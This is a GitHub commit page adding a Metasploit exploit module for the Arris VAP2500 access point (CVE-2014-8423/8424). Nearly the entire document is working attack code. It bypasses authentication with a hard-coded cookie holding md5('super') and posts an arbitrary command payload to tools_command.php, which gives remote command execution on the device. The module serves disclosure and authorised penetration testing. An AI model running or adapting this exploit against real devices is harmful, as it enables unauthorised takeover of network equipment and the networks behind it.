Skip to content

Commit 280e10d

Browse files
committed
Add module for Arris VAP2500 Remote Command Execution
1 parent 394d132 commit 280e10d

File tree

1 file changed

+102
-0
lines changed

1 file changed

+102
-0
lines changed
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Arris VAP2500 tools_command.php Command Execution',
16+
'Description' => %q{
17+
Arris VAP2500 access points are vulnerable to OS command injection in the web management
18+
portal via the tools_command.php page. Though authentication is required to access this
19+
page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid
20+
username.
21+
},
22+
'Author' =>
23+
[
24+
'HeadlessZeke' # Vulnerability discovery and Metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
['CVE', '2014-8423'],
30+
['CVE', '2014-8424'],
31+
['OSVDB', '115045'],
32+
['OSVDB', '115046'],
33+
['BID', '71297'],
34+
['BID', '71299'],
35+
['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/']
36+
],
37+
'DisclosureDate' => 'Nov 25 2014',
38+
'Privileged' => false,
39+
'Payload' =>
40+
{
41+
'DisableNops' => true,
42+
'Space' => 1024
43+
},
44+
'Platform' => 'unix',
45+
'Arch' => ARCH_CMD,
46+
'Targets' => [[ 'Automatic', { }]],
47+
'DefaultTarget' => 0
48+
))
49+
end
50+
51+
def check
52+
begin
53+
res = send_request_raw({
54+
'method' => 'GET',
55+
'uri' => '/tools_command.php',
56+
'headers' => {
57+
'Cookie' => "p=1b3231655cebb7a1f783eddf27d254ca", # md5("super")
58+
}
59+
})
60+
if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
61+
return Exploit::CheckCode::Vulnerable
62+
end
63+
rescue ::Rex::ConnectionError
64+
return Exploit::CheckCode::Unknown
65+
end
66+
67+
Exploit::CheckCode::Safe
68+
end
69+
70+
def exploit
71+
print_status("#{peer} - Trying to access the device ...")
72+
73+
unless check == Exploit::CheckCode::Vulnerable
74+
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
75+
end
76+
77+
print_status("#{peer} - Exploiting...")
78+
79+
uri = '/tools_command.php'
80+
81+
begin
82+
res = send_request_cgi({
83+
'uri' => uri,
84+
'vars_post' => {
85+
'cmb_header' => '',
86+
'txt_command' => payload.encoded
87+
},
88+
'method' => 'POST',
89+
'headers' => {
90+
'Cookie' => "p=1b3231655cebb7a1f783eddf27d254ca", # md5("super")
91+
}
92+
})
93+
if res and res.code == 200 and res.body.to_s =~ /TOOLS - COMMAND/
94+
print_good("#{peer} - Command sent successfully")
95+
else
96+
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
97+
end
98+
rescue ::Rex::ConnectionError
99+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
100+
end
101+
end
102+
end

0 commit comments

Comments
 (0)